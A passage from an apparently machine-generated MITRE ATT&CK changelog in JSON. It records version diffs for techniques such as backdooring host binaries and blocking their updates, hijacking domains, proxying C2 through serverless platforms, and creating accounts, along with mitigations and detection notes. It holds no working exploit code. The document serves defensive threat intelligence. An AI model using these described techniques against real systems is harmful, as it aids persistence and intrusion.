the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)\", \"old_value\": \"Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\\n\\nAdversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host.\\n\\nAn adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,7 @@\\n Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.\\n \\n-Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host.\\n+Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)\\n \\n An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary\\u2019s legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET FontOnLake Analysis 2021)\\n+\\n+After modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.1\", \"old_value\": \"2.0\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Google Cloud Mandiant UNC3886 2024\", \"description\": \" Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations\"}, \"root['x_mitre_contributors'][1]\": \"Liran Ravich, CardinalOps\", \"root['x_mitre_contributors'][2]\": \"Jamie Williams (U \\u03c9 U), PANW Unit 42\"}}", + "previous_version": "2.0", + "version_change": "2.0 \u2192 2.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may modify host software binaries to establish pt1Adversaries may modify host software binaries to establish p
>ersistent access to systems. Software binaries/executables p>ersistent access to systems. Software binaries/executables p
>rovide a wide range of system commands or services, programs>rovide a wide range of system commands or services, programs
>, and libraries. Common software binaries are SSH clients, F>, and libraries. Common software binaries are SSH clients, F
>TP clients, email clients, web browsers, and many other user>TP clients, email clients, web browsers, and many other user
> or server applications.  Adversaries may establish persiste> or server applications.  Adversaries may establish persiste
>nce though modifications to host software binaries. For exam>nce though modifications to host software binaries. For exam
>ple, an adversary may replace or otherwise infect a legitima>ple, an adversary may replace or otherwise infect a legitima
>te application binary (or support files) with a backdoor. Si>te application binary (or support files) with a backdoor. Si
>nce these binaries may be routinely executed by applications>nce these binaries may be routinely executed by applications
> or the user, the adversary can leverage this for persistent> or the user, the adversary can leverage this for persistent
> access to the host.  An adversary may also modify an existi> access to the host. An adversary may also modify a software
>ng binary by patching in malicious functionality (e.g., IAT > binary such as an SSH client in order to persistently colle
>Hooking/Entry point patching)(Citation: Unit42 Banking Troja>ct credentials during logins (i.e., [Modify Authentication P
>ns Hooking 2022) prior to the binary\u2019s legitimate execution.>rocess](https://attack.mitre.org/techniques/T1556)).(Citatio
> For example, an adversary may modify the entry point of a b>n: Google Cloud Mandiant UNC3886 2024)  An adversary may als
>inary to point to malicious code patched in by the adversary>o modify an existing binary by patching in malicious functio
> before resuming normal execution flow.(Citation: ESET FontO>nality (e.g., IAT Hooking/Entry point patching)(Citation: Un
>nLake Analysis 2021)>it42 Banking Trojans Hooking 2022) prior to the binary\u2019s leg
 >itimate execution. For example, an adversary may modify the 
 >entry point of a binary to point to malicious code patched i
 >n by the adversary before resuming normal execution flow.(Ci
 >tation: ESET FontOnLake Analysis 2021)  After modifying a bi
 >nary, an adversary may attempt to [Impair Defenses](https://
 >attack.mitre.org/techniques/T1562) by preventing it from upd
 >ating (e.g., via the `yum-versionlock` command or `versionlo
 >ck.list` file in Linux systems that use the yum package mana
 >ger).(Citation: Google Cloud Mandiant UNC3886 2024)
", + "changelog_mitigations": { + "shared": [ + "M1045: Code Signing" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0022: File (File Creation)", + "DS0022: File (File Deletion)", + "DS0022: File (File Metadata)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--f9cc4d06-775f-4ee1-b401-4e2cc0da30ba", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-10-01 00:51:28.513000+00:00", + "modified": "2024-09-24 15:10:40.270000+00:00", + "name": "Domains", + "description": "Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019)\n\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\n\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/001", + "external_id": "T1584.001" + }, + { + "source_name": "Krebs DNS Hijack 2019", + "description": "Brian Krebs. (2019, February 18). A Deep Dive on the Recent Widespread DNS Hijacking Attacks. Retrieved February 14, 2022.", + "url": "https://krebsonsecurity.com/2019/02/a-deep-dive-on-the-recent-widespread-dns-hijacking-attacks/" + }, + { + "source_name": "ICANNDomainNameHijacking", + "description": "ICANN Security and Stability Advisory Committee. (2005, July 12). Domain Name Hijacking: Incidents, Threats, Risks and Remediation. Retrieved March 6, 2017.", + "url": "https://www.icann.org/groups/ssac/documents/sac-007-en" + }, + { + "source_name": "Palo Alto Unit 42 Domain Shadowing 2022", + "description": "Janos Szurdi, Rebekah Houser and Daiping Liu. (2022, September 21). Domain Shadowing: A Stealthy Use of DNS Compromise for Cybercrime. Retrieved March 7, 2023.", + "url": "https://unit42.paloaltonetworks.com/domain-shadowing/" + }, + { + "source_name": "Microsoft Sub Takeover 2020", + "description": "Microsoft. (2020, September 29). Prevent dangling DNS entries and avoid subdomain takeover. Retrieved October 12, 2020.", + "url": "https://docs.microsoft.com/en-us/azure/security/fundamentals/subdomain-takeover" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jeremy Galloway" + ], + "x_mitre_data_sources": [ + "Domain Name: Passive DNS", + "Domain Name: Domain Registration", + "Domain Name: Active DNS" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Consider monitoring for anomalous changes to domain registrant information and/or domain resolution information that may indicate the compromise of a domain. Efforts may need to be tailored to specific domains of interest as benign registration and resolution changes are a common occurrence on the internet.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.4", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-24 15:10:40.270000+00:00\", \"old_value\": \"2023-03-07 13:05:42.901000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019)\\n\\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\\n\\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)\", \"old_value\": \"Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\\n\\nSubdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\\n\\nAdversaries who compromise a domain may also engage in domain shadowing by creating malicious subdomains under their control while keeping any existing DNS records. As service will not be disrupted, the malicious subdomains may go unnoticed for long periods of time.(Citation: Palo Alto Unit 42 Domain Shadowing 2022)\", \"diff\": \"--- \\n+++ \\n@@ -1,4 +1,4 @@\\n-Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account or taking advantage of renewal process gaps.(Citation: Krebs DNS Hijack 2019)\\n+Adversaries may hijack domains and/or subdomains that can be used during targeting. Domain registration hijacking is the act of changing the registration of a domain name without the permission of the original registrant.(Citation: ICANNDomainNameHijacking) Adversaries may gain access to an email account for the person listed as the owner of the domain. The adversary can then claim that they forgot their password in order to make changes to the domain registration. Other possibilities include social engineering a domain registration help desk to gain access to an account, taking advantage of renewal process gaps, or compromising a cloud service that enables managing domains (e.g., AWS Route53).(Citation: Krebs DNS Hijack 2019)\\n \\n Subdomain hijacking can occur when organizations have DNS entries that point to non-existent or deprovisioned resources. In such cases, an adversary may take control of a subdomain to conduct operations with the benefit of the trust associated with that domain.(Citation: Microsoft Sub Takeover 2020)\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"3.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.4\", \"old_value\": \"1.3\"}}}", + "previous_version": "1.3", + "version_change": "1.3 \u2192 1.4", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may hijack domains and/or subdomains that can bet1Adversaries may hijack domains and/or subdomains that can be
> used during targeting. Domain registration hijacking is the> used during targeting. Domain registration hijacking is the
> act of changing the registration of a domain name without t> act of changing the registration of a domain name without t
>he permission of the original registrant.(Citation: ICANNDom>he permission of the original registrant.(Citation: ICANNDom
>ainNameHijacking) Adversaries may gain access to an email ac>ainNameHijacking) Adversaries may gain access to an email ac
>count for the person listed as the owner of the domain. The >count for the person listed as the owner of the domain. The 
>adversary can then claim that they forgot their password in >adversary can then claim that they forgot their password in 
>order to make changes to the domain registration. Other poss>order to make changes to the domain registration. Other poss
>ibilities include social engineering a domain registration h>ibilities include social engineering a domain registration h
>elp desk to gain access to an account or taking advantage of>elp desk to gain access to an account, taking advantage of r
> renewal process gaps.(Citation: Krebs DNS Hijack 2019)  Sub>enewal process gaps, or compromising a cloud service that en
>domain hijacking can occur when organizations have DNS entri>ables managing domains (e.g., AWS Route53).(Citation: Krebs 
>es that point to non-existent or deprovisioned resources. In>DNS Hijack 2019)  Subdomain hijacking can occur when organiz
> such cases, an adversary may take control of a subdomain to>ations have DNS entries that point to non-existent or deprov
> conduct operations with the benefit of the trust associated>isioned resources. In such cases, an adversary may take cont
> with that domain.(Citation: Microsoft Sub Takeover 2020)  A>rol of a subdomain to conduct operations with the benefit of
>dversaries who compromise a domain may also engage in domain> the trust associated with that domain.(Citation: Microsoft 
> shadowing by creating malicious subdomains under their cont>Sub Takeover 2020)  Adversaries who compromise a domain may 
>rol while keeping any existing DNS records. As service will >also engage in domain shadowing by creating malicious subdom
>not be disrupted, the malicious subdomains may go unnoticed >ains under their control while keeping any existing DNS reco
>for long periods of time.(Citation: Palo Alto Unit 42 Domain>rds. As service will not be disrupted, the malicious subdoma
> Shadowing 2022)>ins may go unnoticed for long periods of time.(Citation: Pal
 >o Alto Unit 42 Domain Shadowing 2022)
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0038: Domain Name (Active DNS)", + "DS0038: Domain Name (Domain Registration)", + "DS0038: Domain Name (Passive DNS)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--df1bc34d-1634-4c93-b89e-8120994fce77", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2022-07-08 12:46:15.450000+00:00", + "modified": "2024-10-03 14:18:34.045000+00:00", + "name": "Serverless", + "description": "Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \n\nOnce compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1584/007", + "external_id": "T1584.007" + }, + { + "source_name": "AWS Lambda Redirector", + "description": "Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022.", + "url": "https://blog.xpnsec.com/aws-lambda-redirector/" + }, + { + "source_name": "Detecting Command & Control in the Cloud", + "description": "Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.", + "url": "https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/" + }, + { + "source_name": "BlackWater Malware Cloudflare Workers", + "description": "Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022.", + "url": "https://www.bleepingcomputer.com/news/security/blackwater-malware-abuses-cloudflare-workers-for-c2-communication/" + }, + { + "source_name": "GWS Apps Script Abuse 2021", + "description": "Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.", + "url": "https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Awake Security" + ], + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-03 14:18:34.045000+00:00\", \"old_value\": \"2022-10-20 21:19:57.555000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \\n\\nOnce compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)\", \"old_value\": \"Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \\n\\nOnce compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \\n+Adversaries may compromise serverless cloud infrastructure, such as Cloudflare Workers, AWS Lambda functions, or Google Apps Scripts, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. \\n \\n-Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)\\n+Once compromised, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector)(Citation: GWS Apps Script Abuse 2021) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers - making it easier to [Hide Infrastructure](https://attack.mitre.org/techniques/T1665).(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.2.0\", \"old_value\": \"2.1.0\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"GWS Apps Script Abuse 2021\", \"description\": \"Sergiu Gatlan. (2021, February 18). Hackers abuse Google Apps Script to steal credit cards, bypass CSP. Retrieved July 1, 2024.\", \"url\": \"https://www.bleepingcomputer.com/news/security/hackers-abuse-google-apps-script-to-steal-credit-cards-bypass-csp/#google_vignette\"}}}", + "previous_version": "1.0", + "version_change": "1.0 \u2192 1.1", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may compromise serverless cloud infrastructure, t1Adversaries may compromise serverless cloud infrastructure, 
>such as Cloudflare Workers or AWS Lambda functions, that can>such as Cloudflare Workers, AWS Lambda functions, or Google 
> be used during targeting. By utilizing serverless infrastru>Apps Scripts, that can be used during targeting. By utilizin
>cture, adversaries can make it more difficult to attribute i>g serverless infrastructure, adversaries can make it more di
>nfrastructure used during operations back to them.   Once co>fficult to attribute infrastructure used during operations b
>mpromised, the serverless runtime environment can be leverag>ack to them.   Once compromised, the serverless runtime envi
>ed to either respond directly to infected machines or to [Pr>ronment can be leveraged to either respond directly to infec
>oxy](https://attack.mitre.org/techniques/T1090) traffic to a>ted machines or to [Proxy](https://attack.mitre.org/techniqu
>n adversary-owned command and control server.(Citation: Blac>es/T1090) traffic to an adversary-owned command and control 
>kWater Malware Cloudflare Workers)(Citation: AWS Lambda Redi>server.(Citation: BlackWater Malware Cloudflare Workers)(Cit
>rector) As traffic generated by these functions will appear >ation: AWS Lambda Redirector)(Citation: GWS Apps Script Abus
>to come from subdomains of common cloud providers, it may be>e 2021) As traffic generated by these functions will appear 
> difficult to distinguish from ordinary traffic to these pro>to come from subdomains of common cloud providers, it may be
>viders.(Citation: Detecting Command & Control in the Cloud)(> difficult to distinguish from ordinary traffic to these pro
>Citation: BlackWater Malware Cloudflare Workers)>viders - making it easier to [Hide Infrastructure](https://a
 >ttack.mitre.org/techniques/T1665).(Citation: Detecting Comma
 >nd & Control in the Cloud)(Citation: BlackWater Malware Clou
 >dflare Workers)
", + "changelog_mitigations": { + "shared": [ + "M1056: Pre-compromise" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0035: Internet Scan (Response Content)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--e01be9c5-e763-4caf-aeb7-000b416aef67", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14 16:46:06.044000+00:00", + "modified": "2024-10-15 15:53:21.895000+00:00", + "name": "Create Account", + "description": "Adversaries may create an account to maintain access to victim systems.(Citation: Symantec WastedLocker June 2020) With a sufficient level of access, creating such accounts may be used to establish secondary credentialed access that do not require persistent remote access tools to be deployed on the system.\n\nAccounts may be created on the local system or within a domain or cloud tenant. In cloud environments, adversaries may create accounts that only have access to specific services, which can reduce the chance of detection.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1136", + "external_id": "T1136" + }, + { + "source_name": "Microsoft User Creation Event", + "description": "Lich, B., Miroshnikov, A. (2017, April 5). 4720(S): A user account was created. Retrieved June 30, 2017.", + "url": "https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4720" + }, + { + "source_name": "Symantec WastedLocker June 2020", + "description": "Symantec Threat Intelligence. (2020, June 25). WastedLocker: Symantec Identifies Wave of Attacks Against U.S. Organizations. Retrieved May 20, 2021.", + "url": "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/wastedlocker-ransomware-us" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Microsoft Threat Intelligence Center (MSTIC)", + "Praetorian", + "Austin Clark, @c2defense" + ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "User Account: User Account Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor for processes and command-line parameters associated with account creation, such as net user or useradd. Collect data on account creation within a network. Event ID 4720 is generated when a user account is created on a Windows system and domain controller. (Citation: Microsoft User Creation Event) Perform regular audits of domain and local system accounts to detect suspicious accounts that may have been created by an adversary.\n\nCollect usage logs from cloud administrator accounts to identify unusual activity in the creation of new accounts and assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Network", + "Containers", + "SaaS", + "Office Suite", + "Identity Provider" + ], + "x_mitre_version": "2.5", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-15 15:53:21.895000+00:00\", \"old_value\": \"2024-01-31 20:46:43.215000+00:00\"}, \"root['x_mitre_version']\": {\"new_value\": \"2.5\", \"old_value\": \"2.4\"}}, \"iterable_item_added\": {\"root['x_mitre_platforms'][7]\": \"Office Suite\", \"root['x_mitre_platforms'][8]\": \"Identity Provider\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Azure AD\", \"root['x_mitre_platforms'][2]\": \"Office 365\", \"root['x_mitre_platforms'][6]\": \"Google Workspace\"}}", + "previous_version": "2.4", + "version_change": "2.4 \u2192 2.5", + "changelog_mitigations": { + "shared": [ + "M1026: Privileged Account Management", + "M1028: Operating System Configuration", + "M1030: Network Segmentation", + "M1032: Multi-factor Authentication" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Creation)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-01-29 17:32:30.711000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Cloud Account", + "description": "Adversaries may create a cloud account to maintain access to victim systems. With a sufficient level of access, such accounts may be used to establish secondary credentialed access that does not require persistent remote access tools to be deployed on the system.(Citation: Microsoft O365 Admin Roles)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: AWS Create IAM User)(Citation: GCP Create Cloud Identity Users)(Citation: Microsoft Azure AD Users)\n\nIn addition to user accounts, cloud accounts may be associated with services. Cloud providers handle the concept of service accounts in different ways. In Azure, service accounts include service principals and managed identities, which can be linked to various resources such as OAuth applications, serverless functions, and virtual machines in order to grant those resources permissions to perform various activities in the environment.(Citation: Microsoft Entra ID Service Principals) In GCP, service accounts can also be linked to specific resources, as well as be impersonated by other accounts for [Temporary Elevated Cloud Access](https://attack.mitre.org/techniques/T1548/005).(Citation: GCP Service Accounts) While AWS has no specific concept of service accounts, resources can be directly granted permission to assume roles.(Citation: AWS Instance Profiles)(Citation: AWS Lambda Execution Role)\n\nAdversaries may create accounts that only have access to specific cloud services, which can reduce the chance of detection.\n\nOnce an adversary has created a cloud account, they can then manipulate that account to ensure persistence and allow access to additional resources - for example, by adding [Additional Cloud Credentials](https://attack.mitre.org/techniques/T1098/001) or assigning [Additional Cloud Roles](https://attack.mitre.org/techniques/T1098/003).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1136/003", + "external_id": "T1136.003" + }, + { + "source_name": "Microsoft O365 Admin Roles", + "description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.", + "url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide" + }, + { + "source_name": "AWS Create IAM User", + "description": "AWS. (n.d.). Creating an IAM User in Your AWS Account. Retrieved January 29, 2020.", + "url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users_create.html" + }, + { + "source_name": "AWS Lambda Execution Role", + "description": "AWS. (n.d.). Lambda execution role. Retrieved February 28, 2024.", + "url": "https://docs.aws.amazon.com/lambda/latest/dg/lambda-intro-execution-role.html" + }, + { + "source_name": "AWS Instance Profiles", + "description": "AWS. (n.d.). Using instance profiles. Retrieved February 28, 2024.", + "url": 